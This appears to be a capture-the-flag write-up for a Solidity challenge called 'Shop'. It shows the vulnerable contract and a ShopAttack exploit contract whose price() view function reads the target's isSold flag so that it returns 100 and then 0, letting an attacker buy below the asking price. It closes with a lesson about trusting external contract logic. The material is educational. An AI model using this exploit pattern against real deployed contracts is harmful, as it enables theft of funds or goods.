✅
Shop
view functions
Сan you get the item from the shop for less than the price asked?
Things that might help:
Shop
expects to be used from aBuyer
- Understanding restrictions of view functions
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
interface Buyer {
function price() external view returns (uint);
}
contract Shop {
uint public price = 100;
bool public isSold;
function buy() public {
Buyer _buyer = Buyer(msg.sender);
if (_buyer.price() >= price && !isSold) {
isSold = true;
price = _buyer.price();
}
}
}
This challenge is similar to "Elevator", but with a little tweak. In "Elevator", we distinguish 1st and 2nd call by defining a
counter
state variable. In this challenge, we are in a restricted environment (like a sandbox) because price()
is defined as a view function. In short, we can only read but not write on state variables.This is not a problem. Note that the
isSold
state variable flips from false
to true
, and it is just like the counter
we defined in "Elevator". Since isSold
is public, we can read its content through the getter isSold()
that is automatically generated by the Solidity compiler.// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import './Shop.sol';
contract ShopAttack {
Shop public shop;
constructor(Shop _shop) {
shop = _shop;
}
function buy() public {
shop.buy();
}
function price() public view returns(uint) {
return shop.isSold() ? 0 : 100;
}
}
Deploy the exploit contract and feed in the address of the target contract:

ShopAttack deploy
Call the
buy
function.Contracts can manipulate data seen by other contracts in any way they want.
It's unsafe to change the state based on external and untrusted contracts logic.
Last modified 6mo ago